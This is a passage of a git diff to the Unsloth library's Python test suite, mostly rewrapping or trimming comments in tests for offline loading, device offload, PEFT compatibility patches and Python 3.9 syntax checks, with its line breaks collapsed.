test_get_new_mapper_does_not_rebind_the_installed_fp8_tables(monkeypatch):int_to_float, float_to_int, map_to_16bit, fp8_block, fp8_row = get_new_mapper()- # _get_new_mapper swallows every exception and returns empty dicts, so assert- # it actually ran before trusting anything below.+ # _get_new_mapper swallows every exception and returns empty dicts, so assert it actually ran before trusting+ # anything below.assert int_to_float and float_to_int and map_to_16bit, "the fetch/exec path did not run"- # the probe has to hand the FETCHED fp8 tables back, or a newly added fp8 repo would- # miss both the installed tables and the probe and skip the upgrade message+ # the probe has to hand the FETCHED fp8 tables back, or a newly added fp8 repo would miss both the installed tables+ # and the probe and skip the upgrade messageassert fp8_block and fp8_rowassert fp8_block is not block and fp8_row is not row@@ -152,7 +150,7 @@ def test_the_byte_cap_stops_the_read_instead_of_measuring_it_afterwards(monkeypadef endless():while True:served.append(1)- if len(served) > 5_000: # the probe should have stopped long before this+ if len(served) > 5_000:raise AssertionError("the probe kept reading past its cap")yield b"x" * 65_536@@ -160,8 +158,8 @@ def test_the_byte_cap_stops_the_read_instead_of_measuring_it_afterwards(monkeypaget_new_mapper = _extract_get_new_mapper({})assert get_new_mapper() == ({}, {}, {}, {}, {})- # The cap at 64KB a chunk is a few dozen chunks; anything near the guard above means the- # cap is not being enforced while reading.+ # The cap at 64KB a chunk is a few dozen chunks; anything near the guard above means the cap is not being enforced+ # while reading.assert len(served) < 200, len(served)@@ -174,7 +172,7 @@ def test_a_redirect_body_is_bounded_too(monkeypatch):def endless():while True:served.append(1)- if len(served) > 5_000:+ if len(served) > 5_000: # the probe should have stopped long before thisraise AssertionError("the probe kept reading a redirect body past its cap")yield b"x" * 65_536@@ -263,6 +261,5 @@ def test_a_trickled_body_ends_at_the_deadline_not_at_the_chunk_size(monkeypatch)get_new_mapper = _extract_get_new_mapper({})assert get_new_mapper() == ({}, {}, {}, {}, {})- # A 10s deadline at 2s a read is a handful of reads. A chunked loop would not look- # at the clock until 65_536 of them had gone by.+ # A 10s deadline at 2s a read is a handful of reads.assert clock["now"] < 60, clock["now"]diff --git a/tests/test_nvfp4_quant_load.py b/tests/test_nvfp4_quant_load.pyindex b7cbcde88c3..630f40e95f2 100644--- a/tests/test_nvfp4_quant_load.py+++ b/tests/test_nvfp4_quant_load.py@@ -18,7 +18,6 @@ load_in_4bit=True. Uses synthetic configs (no network) so it runs offline in CI.from types import SimpleNamespace-# Import unsloth first to set UNSLOTH_IS_PRESENT env var.import unslothfrom unsloth_zoo.utils import get_quant_typefrom unsloth.models.loader_utils import check_and_disable_bitsandbytes_loadingdiff --git a/tests/test_offline_loading_helpers.py b/tests/test_offline_loading_helpers.pyindex d0573a32a3e..3bacba179b7 100644--- a/tests/test_offline_loading_helpers.py+++ b/tests/test_offline_loading_helpers.py@@ -337,7 +337,8 @@ def test_has_local_tokenizer_model(tmp_path):def test_has_local_tokenizer_bpe_needs_merges(tmp_path):- # vocab.json alone is not loadable BPE; it needs merges.txt.+ # vocab.json alone is not loadable BPE;+ # it needs merges.txt._touch(tmp_path, "vocab.json")assert L._has_local_tokenizer_files(str(tmp_path)) is False_touch(tmp_path, "merges.txt")@@ -445,8 +446,8 @@ def test_offline_error_when_already_offline_propagates(monkeypatch):def test_kwargs_preserved_across_retry(monkeypatch):- # Callee popping config/tokenizer_name must not change what the retry sees:- # fn(*args, **kwargs) re-packs a fresh **kwargs per call.+ # Callee popping config/tokenizer_name must not change what the retry sees: fn(*args, **kwargs) re-packs a fresh+ # **kwargs per call.monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)seen = []@@ -465,8 +466,8 @@ def test_kwargs_preserved_across_retry(monkeypatch):def test_retry_runs_gc_collect_between_attempts(monkeypatch):- # The retry lives OUTSIDE the except so the failed attempt's traceback (a- # partial model) is freed by gc.collect() before the second load reallocates.+ # The retry lives OUTSIDE the except so the failed attempt's traceback (a partial model) is freed by gc.collect()+ # before the second load reallocates.monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)gc_calls = []@@ -494,8 +495,8 @@ def test_retry_runs_gc_collect_between_attempts(monkeypatch):def test_force_offline_restores_freshly_imported_constant(monkeypatch):- # If huggingface_hub.constants is first imported inside the window, the saved value must- # be the pre-window state, not the just-forced "1"; otherwise the process pins offline.+ # If huggingface_hub.constants is first imported inside the window, the saved value must be the pre-window state,+ # not the just-forced "1"; otherwise the process pins offline.import sysmonkeypatch.delenv("HF_HUB_OFFLINE", raising = False)@@ -524,8 +525,8 @@ def test_force_offline_restores_freshly_imported_constant(monkeypatch):def test_resolve_tokenizer_vlm_without_processor_falls_back(tmp_path):- # VLM checkpoint with tokenizer files but no processor config -> base repo (None), so its- # cached processor still loads instead of AutoProcessor failing on the local dir.+ # VLM checkpoint with tokenizer files but no processor config -> base repo (None), so its cached processor still+ # loads instead of AutoProcessor failing on the local dir._touch(tmp_path, "tokenizer_config.json")_touch(tmp_path, "tokenizer.json")assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), {}, require_processor = True) is None@@ -672,13 +673,13 @@ def test_the_failed_attempt_is_not_pinned_by_the_error_it_raised(monkeypatch):def fake(*args, **kwargs):calls.append(1)if len(calls) == 1:- partial = _PartialModel() # what the failed load already built+ partial = _PartialModel()witness["ref"] = weakref.ref(partial)raise ConnectionError("connection reset while downloading model.safetensors")witness["alive_during_retry"] = witness["ref"]() is not Nonereturn "loaded"- monkeypatch.setattr(gc, "collect", lambda *a, **k: 0) # only refcounts, no cycles+ monkeypatch.setattr(gc, "collect", lambda *a, **k: 0)assert fake("model") == "loaded"assert (witness["alive_during_retry"] is False@@ -775,7 +776,7 @@ def test_a_wrapped_online_error_does_not_pin_the_failed_attempt(monkeypatch):def fake(*args, **kwargs):calls.append(1)if len(calls) == 1:- partial = _PartialModel() # what the failed load already built+ partial = _PartialModel()witness["ref"] = weakref.ref(partial)try:_download()@@ -784,7 +785,7 @@ def test_a_wrapped_online_error_does_not_pin_the_failed_attempt(monkeypatch):witness["alive_during_retry"] = witness["ref"]() is not Nonereturn "loaded"- monkeypatch.setattr(gc, "collect", lambda *a, **k: 0) # only refcounts, no cycles+ monkeypatch.setattr(gc, "collect", lambda *a, **k: 0)assert fake("model") == "loaded"assert (witness["alive_during_retry"] is False@@ -815,8 +816,8 @@ def test_an_implicitly_chained_network_error_stays_recognisable(monkeypatch):assert L._is_offline_related_error(caught.value), "the retry replaced the implicitly chained connection error that made this classifiable"- # The connection error keeps the slot the traceback prints, and the retry is- # reported alongside it rather than in place of it.+ # The connection error keeps the slot the traceback prints, and the retry is reported alongside it rather than in+ # place of it.assert isinstance(caught.value.__context__, ConnectionError)assert isinstance(caught.value._unsloth_offline_retry_error, AttributeError)@@ -879,8 +880,8 @@ def test_a_context_the_loader_suppressed_is_not_promoted_to_a_cause(monkeypatch)@pytest.mark.parametrize("artifact",[- # A missing vocabulary resolves to None and is then dereferenced, opened or- # stat'd, so the family spans four exception types (#7845).+ # A missing vocabulary resolves to None and is then dereferenced, opened or stat'd, so the family spans four+ # exception types (#7845).AttributeError("'NoneType' object has no attribute 'readlines'"),TypeError("argument should be a str or an os.PathLike object where __fspath__ "@@ -964,7 +965,7 @@ def test_the_vlm_tokenizer_fallback_does_not_pin_the_built_model(monkeypatch):witness["alive_during_retry"] = witness["ref"]() is not Nonereturn "loaded"- monkeypatch.setattr(gc, "collect", lambda *a, **k: 0) # only refcounts, no cycles+ monkeypatch.setattr(gc, "collect", lambda *a, **k: 0)assert fake("model") == "loaded"assert (witness["alive_during_retry"] is False@@ -1024,7 +1025,7 @@ def test_the_retrys_own_frames_do_not_pin_the_cached_model(monkeypatch):witness["ref"] = weakref.ref(model)raise AttributeError("'NoneType' object has no attribute 'endswith'")- monkeypatch.setattr(gc, "collect", lambda *a, **k: 0) # only refcounts, no cycles+ monkeypatch.setattr(gc, "collect", lambda *a, **k: 0)with pytest.raises(ConnectionError) as caught:fake("model")assert caught.value.__cause__ is not Nonediff --git a/tests/test_offload_embedding_hooks.py b/tests/test_offload_embedding_hooks.pyindex 4739372e15b..a23c2a5acae 100644--- a/tests/test_offload_embedding_hooks.py+++ b/tests/test_offload_embedding_hooks.py@@ -82,7 +82,6 @@ def test_live_decoder_over_stale_fallback():print("[SKIP] CUDA not available")return# P2: fallback captured as cpu (model loaded on cpu), but the decoder later lives on cuda.- # The output must follow the live lm_head device, not the stale cpu fallback.emb = _emb().to("cpu")install(emb, _lm_head("cuda"), CPU)out = emb(torch.randint(0, 32, (2, 5), device = "cuda"))@@ -90,8 +89,8 @@ def test_live_decoder_over_stale_fallback():def test_meta_lm_head_falls_back():- # A disk-offloaded (meta) lm_head must not be used as the return device: moving hidden- # states to meta is unrecoverable, so fall back to the captured device. No GPU needed.+ # A disk-offloaded (meta) lm_head must not be used as the return device: moving hidden states to meta is+ # unrecoverable, so fall back to the captured device. No GPU needed.emb = _emb().to("cpu")lm = _lm_head(CPU)lm.weight = nn.Parameter(lm.weight.to("meta"))diff --git a/tests/test_offload_frozen_module_device.py b/tests/test_offload_frozen_module_device.pyindex 068c8dd60f0..ded9b7c68dd 100644--- a/tests/test_offload_frozen_module_device.py+++ b/tests/test_offload_frozen_module_device.py@@ -44,8 +44,8 @@ def _load_helper():for node in tree.bodyif isinstance(node, ast.FunctionDef) and node.name == "_offload_frozen_module_for_training")- # The annotations are evaluated when the def executes, so the names they- # mention have to be real here, not placeholders.+ # The annotations are evaluated when the def executes, so the names they mention have to be real here, not+ # placeholders.from typing import Optionalns = {"torch": torch, "Optional": Optional, "ModulesToSaveWrapper": object}@@ -198,13 +198,11 @@ def test_on_real_hardware_a_module_on_the_current_card_is_unchanged():assert not w.original_module.weight.requires_grad-# The DEFAULT path. `use_gradient_checkpointing = "unsloth"` offloads the trained-# embedding and head to disk BEFORE `_get_peft_model` runs, so PEFT builds-# `modules_to_save.default` on CPU and the copy has no index left to preserve.-# llama.py records the real placement first (`input_embeddings_device` /-# `output_embeddings_device`, captured just above that offload) and hands it over.--+# The DEFAULT path.+# `use_gradient_checkpointing = "unsloth"` offloads the trained embedding and head to disk BEFORE `_get_peft_model`+# runs, so PEFT builds `modules_to_save.default` on CPU and the copy has no index left to preserve.+# llama.py records the real placement first (`input_embeddings_device` / `output_embeddings_device`, captured just above+# that offload) and hands it over.def test_a_copy_rebuilt_on_cpu_by_the_disk_offload_uses_the_recorded_device():"""The default-path regression: without this the copy lands on cuda:0."""w = _Wrapper("cpu")diff --git a/tests/test_offload_tied_autodisable.py b/tests/test_offload_tied_autodisable.pyindex a955426bcdf..c1b2a3fd569 100644--- a/tests/test_offload_tied_autodisable.py+++ b/tests/test_offload_tied_autodisable.py@@ -15,10 +15,9 @@ from contextlib import contextmanagerimport pytest-# Skip rather than error where torch is absent. Only `nn.Embedding` / `nn.Linear` /-# `torch.device` are wanted here, no GPU, but a bare module-level import turns a machine-# without torch into a collection error, which aborts the whole pytest session instead of-# leaving one skipped module behind.+# Skip rather than error where torch is absent. Only `nn.Embedding` / `nn.Linear` / `torch.device` are wanted here, no+# GPU, but a bare module-level import turns a machine without torch into a collection error, which aborts the whole+# pytest session instead of leaving one skipped module behind.torch = pytest.importorskip("torch")nn = pytest.importorskip("torch.nn")@@ -33,10 +32,10 @@ _DISTRIBUTED = [False]def _load(*names):mod = ast.parse(_SRC)- # The sentinel lives in loader_utils; importing that module would drag in torch's CUDA- # stack, so mirror the one value these functions read.- # `is_distributed` is driven explicitly so the assertions never depend on whether the- # host happens to have torchrun's env vars set.+ # The sentinel lives in loader_utils;+ # importing that module would drag in torch's CUDA stack, so mirror the one value these functions read.+ # `is_distributed` is driven explicitly so the assertions never depend on whether the host happens to have+ # torchrun's env vars set.ns = {"torch": torch,"os": os,@@ -151,8 +150,8 @@ def test_opaque_model_leaves_request_alone():def test_wsl_and_windows_disable_offload():- # Neither can offload, and the flag also gates the multi-device hook attach,- # so it has to read False rather than pass through.+ # Neither can offload, and the flag also gates the multi-device hook attach, so it has to read False rather than+ # pass through.for var in _WSL_VARS:with _as_platform("posix"):os.environ[var] = "1"@@ -172,8 +171,8 @@ def test_wsl_and_windows_disable_offload():def test_platform_gate_lives_in_one_place():- # The offload block used to re-test os.name itself; the copies drifted apart- # and only Windows noticed. _resolve_offload_embedding owns it now.+ # The offload block used to re-test os.name itself; the copies drifted apart and only Windows noticed.+ # _resolve_offload_embedding owns it now.helper = _SRC[_SRC.index("def _offload_embedding_unsupported_platform(") :]helper = helper[: helper.index("\n\n\ndef ")]for probe in ('os.name == "nt"', "WSL_DISTRO_NAME", "WSL_INTEROP"):diff --git a/tests/test_peft_stale_torchao.py b/tests/test_peft_stale_torchao.pyindex b1af7c4914f..95793356b03 100644--- a/tests/test_peft_stale_torchao.py+++ b/tests/test_peft_stale_torchao.py@@ -46,8 +46,7 @@ def peft_env(monkeypatch):import_utils = types.ModuleType("peft.import_utils")import_utils.is_torchao_available = raiserconsumer = types.ModuleType("peft.tuners.lora.torchao")- # `from peft.import_utils import ...` binds the ORIGINAL here, and- # this is the copy that actually gets called.+ # `from peft.import_utils import ...` binds the ORIGINAL here, and this is the copy that actually gets called.consumer.is_torchao_available = raiserpkg = types.ModuleType("peft")pkg.__path__ = []@@ -127,8 +126,7 @@ def test_stale_torchao_becomes_false(peft_env):def test_the_module_that_actually_calls_it_is_patched(peft_env):- # dispatch_torchao holds its own reference; patching import_utils alone- # would leave the real call site raising.+ # dispatch_torchao holds its own reference; patching import_utils alone would leave the real call site raising._, consumer = peft_env(_raiser(STALE))FIX()assert consumer.is_torchao_available() is False@@ -158,8 +156,8 @@ def test_an_unrelated_import_error_still_raises(peft_env):@pytest.mark.parametrize("message",[- # Half-installed torchao: says "torchao", is not a version complaint,- # and calling it "unavailable" would hide a broken install.+ # Half-installed torchao: says "torchao", is not a version complaint, and calling it "unavailable" would hide a+ # broken install."No module named 'torchao.quantization'","cannot import name 'quantize_' from 'torchao'",# An extension built against a different torch/CUDA.diff --git a/tests/test_peft_symbol_backfill.py b/tests/test_peft_symbol_backfill.pyindex 1d9ee2c949f..ef48bd0f969 100644--- a/tests/test_peft_symbol_backfill.py+++ b/tests/test_peft_symbol_backfill.py@@ -133,8 +133,6 @@ def test_required_symbols_match_peft_import_list():# Inert donors are right wherever the symbol never existed, but not for a# transformers 5 that merely renamed one, so warn rather than silently skip# work peft should have done.--def test_a_missing_mapping_function_is_announced():_fake_real_module(CONV,diff --git a/tests/test_prefetch_snapshot_scope.py b/tests/test_prefetch_snapshot_scope.pyindex 97b17c0756a..b2433cbde9f 100644--- a/tests/test_prefetch_snapshot_scope.py+++ b/tests/test_prefetch_snapshot_scope.py@@ -12,6 +12,7 @@# See the License for the specific language governing permissions and# limitations under the License.+# http://www.apache.org/licenses/LICENSE-2.0"""Pure-CPU, no-network unit tests for prefetch snapshot scoping in unsloth/models/_utils.py.maybe_prefetch_hf_snapshot warms the HF cache before the in-process load. The warm must cover at@@ -62,8 +63,7 @@ def capture(monkeypatch):fake_module.DownloadStallError = type("DownloadStallError", (RuntimeError,), {})monkeypatch.setitem(sys.modules, "unsloth_zoo.hf_xet_fallback", fake_module)- # Neutralize the model_info network call by default; tests exercising format selection- # install their own.+ # Neutralize the model_info network call by default; tests exercising format selection install their own.import huggingface_hubclass _NoNetworkApi:@@ -72,9 +72,8 @@ def capture(monkeypatch):monkeypatch.setattr(huggingface_hub, "HfApi", _NoNetworkApi)- # Same for the modules.json probe: unstubbed it reaches out for the fake repo, so every- # weights_at_root case in this no-network file made a live request. The probe is best-effort, so- # raising here is exactly its "not a sentence-transformers repo" answer.+ # Same for the modules.json probe: unstubbed it reaches out for the fake repo, so every weights_at_root case in this+ # no-network file made a live request.def _no_network_download(*a, **k):raise RuntimeError("no network in test")@@ -88,7 +87,8 @@ def capture(monkeypatch):return run-# Representative repo listing: root weights + aux, subdir, adapter, checkpoint, merged weights.+# Representative repo listing: root weights (sharded safetensors + index + a .bin) and aux configs, subdir weights,+# a checkpoint dir, and an adapter._SAMPLE_FILES = ["config.json","tokenizer.json",@@ -457,7 +457,7 @@ def test_st_fallback_module_loads_resolve_env_cache():continuedumped = ast.dump(cache_dir_kw.value)if "cache_folder" not in dumped:- continue # internal pass-through, not a resolution site+ continuechecked += 1assert ("SENTENCE_TRANSFORMERS_HOME" in dumped@@ -527,7 +527,7 @@ def test_st_fallback_module_loads_forward_revision():continuecache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)if cache_dir_kw is None or "cache_folder" not in ast.dump(cache_dir_kw.value):- continue # internal pass-through, not a fallback site+ continuechecked += 1rev_kw = next((kw for kw in node.keywords if kw.arg == "revision"), None)assert rev_kw is not None and "revision" in ast.dump(diff --git a/tests/test_pretrain_compile_reset.py b/tests/test_pretrain_compile_reset.pyindex 22ba2ed3bdf..bb47b13aa77 100644--- a/tests/test_pretrain_compile_reset.py+++ b/tests/test_pretrain_compile_reset.py@@ -40,10 +40,9 @@ class _Trainer:def test_reset_helper_is_importable_and_exported():- # Regression: the helper used to live only inside rl.py's RLTrainer_replacement template- # string (exec'd into a generated trainer module), so importing it from a real module raised- # ImportError and every non-RL consumer (SFT trainer.py, the plain-Trainer loop, the RL- # template's own delegation) silently no-op'd. Pin it as an exported module-level symbol.+ # Regression: the helper used to live only inside rl.py's RLTrainer_replacement template string (exec'd into a+ # generated trainer module), so importing it from a real module raised ImportError and every non-RL consumer (SFT+ # trainer.py, the plain-Trainer loop, the RL template's own delegation) silently no-op'd.from unsloth.models import _utilsassert callable(_utils._unsloth_reset_stray_compile_cache)assert "_unsloth_reset_stray_compile_cache" in _utils.__all__@@ -54,18 +53,18 @@ def test_fresh_install_starts_unseen():_unsloth_install_pretrain_detector(m)marker = m._unsloth_pretrain_markerassert marker["seen"] is False- assert "hook" in marker # a live hook is registered+ assert "hook" in markerdef test_reinstall_with_live_hook_preserves_seen():- # Re-entering get_peft_model/patch_peft_model after a grad-enabled probe must NOT wipe the- # recorded poisoning, or train() skips the reset and the NaN/flat-loss bug returns.+ # Re-entering get_peft_model/patch_peft_model after a grad-enabled probe must NOT wipe the recorded poisoning, or+ # train() skips the reset and the NaN/flat-loss bug returns.m = torch.nn.Linear(2, 2)_unsloth_install_pretrain_detector(m)hook = m._unsloth_pretrain_marker["hook"]- m._unsloth_pretrain_marker["seen"] = True # a probe the live hook recorded+ m._unsloth_pretrain_marker["seen"] = True- _unsloth_install_pretrain_detector(m) # idempotent re-install+ _unsloth_install_pretrain_detector(m)marker = m._unsloth_pretrain_markerassert marker["seen"] is True # evidence keptassert marker["hook"] is hook # same hook, not double-registered@@ -78,8 +77,8 @@ def test_reinstall_after_teardown_resets_and_reregisters():marker["seen"] = Truemarker.pop("hook").remove() # simulate teardown (what the reset does)- _unsloth_install_pretrain_detector(m) # no live hook -> fresh registration- assert marker["seen"] is False # reset for the new session+ _unsloth_install_pretrain_detector(m)+ assert marker["seen"] is Falseassert "hook" in marker@@ -94,12 +93,11 @@ def test_grad_enabled_forward_marks_seen_no_grad_does_not():def test_reset_clears_seen_and_warns_when_a_stray_forward_was_seen(monkeypatch):- # Pin compile on: the reset only warns/resets when UNSLOTH_COMPILE_DISABLE != "1", which a- # GPU-free CI env may set, so force it here to make the warn assertion deterministic.+ # Pin compile on: the reset only warns/resets when UNSLOTH_COMPILE_DISABLE != "1", which a GPU-free CI env may set.monkeypatch.setenv("UNSLOTH_COMPILE_DISABLE", "0")m = torch.nn.Linear(2, 2)_unsloth_install_pretrain_detector(m)- m._unsloth_pretrain_marker["seen"] = True # a stray pre-train forward+ m._unsloth_pretrain_marker["seen"] = Truetrainer = _Trainer()trainer.model = m@@ -108,17 +106,15 @@ def test_reset_clears_seen_and_warns_when_a_stray_forward_was_seen(monkeypatch):_unsloth_reset_stray_compile_cache(trainer)assert any("manual forward/backward" in str(w.message) for w in caught)- assert "hook" not in m._unsloth_pretrain_marker # hook torn down+ assert "hook" not in m._unsloth_pretrain_markerassert m._unsloth_pretrain_marker["seen"] is False # evidence consumeddef test_reset_tears_down_hook_even_when_not_seen(monkeypatch):- # The clean path still removes the one-shot hook so it adds no per-step cost, but must not- # warn or reset Dynamo (nothing was poisoned). Pin compile on so the absent warning proves- # seen==False is the reason, not a disabled-compile short circuit.+ # The clean path still removes the one-shot hook so it adds no per-step cost, but must not warn or reset Dynamo.monkeypatch.setenv("UNSLOTH_COMPILE_DISABLE", "0")m = torch.nn.Linear(2, 2)- _unsloth_install_pretrain_detector(m) # seen stays False+ _unsloth_install_pretrain_detector(m)trainer = _Trainer()trainer.model = mdiff --git a/tests/test_psutil_apple_cpu_freq.py b/tests/test_psutil_apple_cpu_freq.pyindex 091cc462030..877ab83c76e 100644--- a/tests/test_psutil_apple_cpu_freq.py+++ b/tests/test_psutil_apple_cpu_freq.py@@ -148,9 +148,7 @@ class TestPatchApplication:assert psutil.cpu_freq is beforedef test_no_op_when_psutil_has_no_cpu_freq(self, monkeypatch, fake_m4):- # GitHub's Apple Silicon runners ship exactly this psutil: no cpu_freq- # attribute at all. There is nothing to wrap, and adding one would- # advertise support psutil deliberately does not claim.+ # GitHub's Apple Silicon runners ship exactly this psutil: no cpu_freq attribute at all.import psutilmonkeypatch.delattr(psutil, "cpu_freq", raising = False)@@ -168,15 +166,14 @@ class TestPatchApplication:monkeypatch.setattr(psutil, "cpu_freq", cpu_freq)_fake_ioreg(monkeypatch, [{"voltage-states5-sram": _M4_PERF_TABLE}])IF.patch_psutil_cpu_freq()- assert psutil.cpu_freq().current == 4512.0 # the supported call still recovers+ assert psutil.cpu_freq().current == 4512.0with pytest.raises(TypeError):psutil.cpu_freq(unknown = True)with pytest.raises(TypeError):psutil.cpu_freq(False, False)def test_probe_lock_exists_before_any_call(self):- # A lazily built lock is two locks when two threads reach it at once,- # and then neither excludes the other.+ # A lazily built lock is two locks when two threads reach it at once, and then neither excludes the other.import threadingassert isinstance(IF._apple_cpu_freq_lock, type(threading.Lock()))@@ -254,7 +251,6 @@ class TestPatchApplication:assert psutil.cpu_freq() == valuedef test_psutil_exception_is_covered_by_ioreg(self, monkeypatch, fake_m4):- # psutil raises on M5, where the table indexes it hardcodes are absent.def boom(percpu = False):raise RuntimeError("no voltage-states table at the expected index")@@ -270,6 +266,7 @@ class TestPatchApplication:import psutilimport subprocess+ # psutil raises on M5, where the table indexes it hardcodes are absent.def boom(percpu = False):raise RuntimeError("no voltage-states table at the expected index")@@ -280,8 +277,8 @@ class TestPatchApplication:psutil.cpu_freq()def test_percpu_exception_is_covered_too(self, monkeypatch, fake_m4):- # macOS has no per-core clock, so psutil's own percpu answer there is a- # one-element list; the stand-in keeps that shape for both call forms.+ # macOS has no per-core clock, so psutil's own percpu answer there is a one-element list; the stand-in keeps+ # that shape for both call forms.import psutildef boom(percpu = False):@@ -405,14 +402,13 @@ class TestOnRealAppleSilicon:IF.patch_psutil_cpu_freq()reader = getattr(psutil, "cpu_freq", None)if reader is None:- # Nothing was wrapped, so there is nothing to assert about. Unsloth's- # own helper covers this host, and its test asserts that path.+ # Nothing was wrapped, so there is nothing to assert about.pytest.skip("psutil exposes no cpu_freq on this host")try:sample = reader()except Exception as exception:- # psutil declined and the tables were unreadable too, so the wrapper- # correctly re-raised rather than inventing a number.+ # psutil declined and the tables were unreadable too, so the wrapper correctly re-raised rather than+ # inventing a number.pytest.skip(f"no CPU clock available on this host ({exception})")if sample is None:pytest.skip("psutil reports the clock as undeterminable on this host")diff --git a/tests/test_public_api_surface.py b/tests/test_public_api_surface.pyindex 264ef640886..3218e5d2040 100644--- a/tests/test_public_api_surface.py+++ b/tests/test_public_api_surface.py@@ -56,8 +56,6 @@ def _accepts(callable_obj, kwargs: set[str]) -> tuple[bool, set[str]]:# FastLanguageModel: headline class.--def test_fast_language_model_class_present():unsloth = pytest.importorskip("unsloth")if not hasattr(unsloth, "FastLanguageModel"):@@ -108,9 +106,6 @@ def test_fast_language_model_for_inference_callable():)-# FastVisionModel.--def test_fast_vision_model_class_and_methods():unsloth = pytest.importorskip("unsloth")if not hasattr(unsloth, "FastVisionModel"):@@ -146,8 +141,6 @@ def test_fast_vision_model_get_peft_model_vision_kwargs():# FastModel: modern unified entry point.--def test_fast_model_class_and_methods():unsloth = pytest.importorskip("unsloth")if not hasattr(unsloth, "FastModel"):@@ -176,8 +169,6 @@ def test_fast_model_from_pretrained_kwargs():# Bf16 helper alias (renamed once already; keep both accepted).--def test_is_bf16_supported_or_alias_callable():"""is_bf16_supported or the legacy is_bfloat16_supported alias must remain importable."""unsloth = pytest.importorskip("unsloth")diff --git a/tests/test_python39_compatibility.py b/tests/test_python39_compatibility.pyindex 892dfedc68a..da208296384 100644--- a/tests/test_python39_compatibility.py+++ b/tests/test_python39_compatibility.py@@ -23,14 +23,13 @@ REPO_ROOT = Path(__file__).resolve().parents[1]PACKAGE_ROOT = REPO_ROOT / "unsloth"# studio/ ships under the same requires-python, so it is held to the syntax check. Its-# evaluated-union debt is ratcheted rather than fixed here: the files involved include-# FastAPI routers and pydantic models, where `from __future__ import annotations` is-# supported but has real failure modes around class dependencies, so converting them needs-# Unsloth actually booted and its routes exercised. The ratchet stops the debt growing.+# evaluated-union debt is ratcheted rather than fixed here: the files involved include FastAPI routers and pydantic+# models, where `from __future__ import annotations` is supported but has real failure modes around class+# dependencies, so converting them needs Unsloth actually booted and its routes exercised.#-# The SET, not just a count, so a breach can name the files it added. Shrinking is the-# only edit that should ever be made here: a new entry means a new file evaluates a union-# on the floor, and the fix is the future import in that file, not a longer list.+# The SET, not just a count, so a breach can name the files it added. Shrinking is the only edit that should ever be+# made here: a new entry means a new file evaluates a union on the floor, and the fix is the future import in that+# file, not a longer list.STUDIO_UNION_DEBT_FILES = frozenset({"studio/backend/auth/hashing.py",@@ -224,8 +223,8 @@ def evaluated_annotations(tree):return out-# A `|` between these is a union, not arithmetic: builtin types, `None`, and whatever the-# module pulled in from typing.+# A `|` between these is a union, not arithmetic. These are the builtin types; `None` and whatever the module pulled+# in from typing count as anchors too, and are handled in the check below.TYPE_ANCHORS = frozenset({"str",@@ -393,11 +392,9 @@ def test_studio_evaluated_unions_do_not_grow():if not studio.is_dir():pytest.skip("no studio/ directory in this checkout")offenders = sorted(str(p.relative_to(REPO_ROOT)) for p in evaluated_union_files(studio))- # Name the files that are NEW against the recorded set, not the whole list. A bare- # count told you only that 37 exceeded 35, and the full list was truncated at 2000- # chars, so finding the two additions meant re-running the scan on an older checkout- # and diffing by hand. The count still governs the assertion, so a swap (one file- # fixed, one added) cannot slip through on set membership alone.+ # Name the files that are NEW against the recorded set, not the whole list.+ # A bare count told you only that 37 exceeded 35, and the full list was truncated at 2000 chars, so finding the two+ # additions meant re-running the scan on an older checkout and diffing by hand.added = [p for p in offenders if p not in STUDIO_UNION_DEBT_FILES]removed = [p for p in sorted(STUDIO_UNION_DEBT_FILES) if p not in offenders]assert len(offenders) <= len(STUDIO_UNION_DEBT_FILES), (@@ -451,8 +448,6 @@ def test_no_pep604_unions_are_evaluated_on_the_declared_floor():## The skip above is the kind of thing that rots into a blanket `vendor/`# exclusion. These pin it to the guard.--def test_the_truststore_guard_is_what_exempts_it():"""Not the path. If upstream drops the version guard, the files come backinto the scan and this gate goes red again -- which is correct, because atdiff --git a/tests/test_pythonpath_empty_components.py b/tests/test_pythonpath_empty_components.pyindex 55207554c8f..9157c02d4e9 100644--- a/tests/test_pythonpath_empty_components.py+++ b/tests/test_pythonpath_empty_components.py@@ -55,11 +55,10 @@ def _stage(monkeypatch, tmp_path, pythonpath):IF, "importlib_version", lambda name: "0.18.0" if name == "torchao" else "0")monkeypatch.setattr(IF, "_torch_really_has", lambda F, name: False)- # Keep the generated sitecustomize in tmp_path, so no staged directory- # is left behind in the real temp dir.+ # Keep the generated sitecustomize in tmp_path, so no staged directory is left behind in the real temp dir.monkeypatch.setattr("tempfile.gettempdir", lambda: str(tmp_path))- # monkeypatch.setenv/delenv restores PYTHONPATH at teardown even though- # the function writes os.environ directly, so no restore fixture is needed.+ # monkeypatch.setenv/delenv restores PYTHONPATH at teardown even though the function writes os.environ directly, so+ # no restore fixture is needed.if pythonpath is None:monkeypatch.delenv("PYTHONPATH", raising = False)else:diff --git a/tests/test_raw_text.py b/tests/test_raw_text.pyindex 55b2f7a50ef..ac86aba0a0a 100644--- a/tests/test_raw_text.py+++ b/tests/test_raw_text.py@@ -8,7 +8,6 @@ from pathlib import Pathimport importlib.util-# Mock the datasets module (not installed).class MockDataset:def __init__(self, data_dict):self.data = data_dict@@ -19,10 +18,8 @@ class MockDataset:def __getitem__(self, idx):if isinstance(idx, str):- # Column access, e.g. dataset['text'].return self.data[idx]elif isinstance(idx, int):- # Row access by index.return {key: values[idx] for key, values in self.data.items()}else:raise TypeError(f"Invalid index type: {type(idx)}")@@ -32,23 +29,21 @@ class MockDataset:return cls(data_dict)-# __spec__ must be set so importlib.util.find_spec doesn't raise ValueError when-# transformers' import_utils later probes for the real `datasets` package.+# __spec__ must be set so importlib.util.find_spec doesn't raise ValueError when transformers' import_utils later probes+# for the real `datasets` package.datasets_mock = type(sys)("datasets")datasets_mock.__spec__ = importlib.util.spec_from_loader("datasets", loader = None)datasets_mock.Dataset = MockDataset-# Import raw_text directly to avoid unsloth/__init__.py dependencies.current_dir = os.path.dirname(__file__)raw_text_path = os.path.join(os.path.dirname(current_dir), "unsloth", "dataprep", "raw_text.py")spec = importlib.util.spec_from_file_location("raw_text", raw_text_path)raw_text_module = importlib.util.module_from_spec(spec)-# The mock is only in place while raw_text executes its `from datasets import-# Dataset`. Leaving it in sys.modules poisoned every later test module in the-# same session: `from datasets import IterableDataset` then raised ImportError-# and tests/utils/test_packing.py failed to collect.+# The mock is only in place while 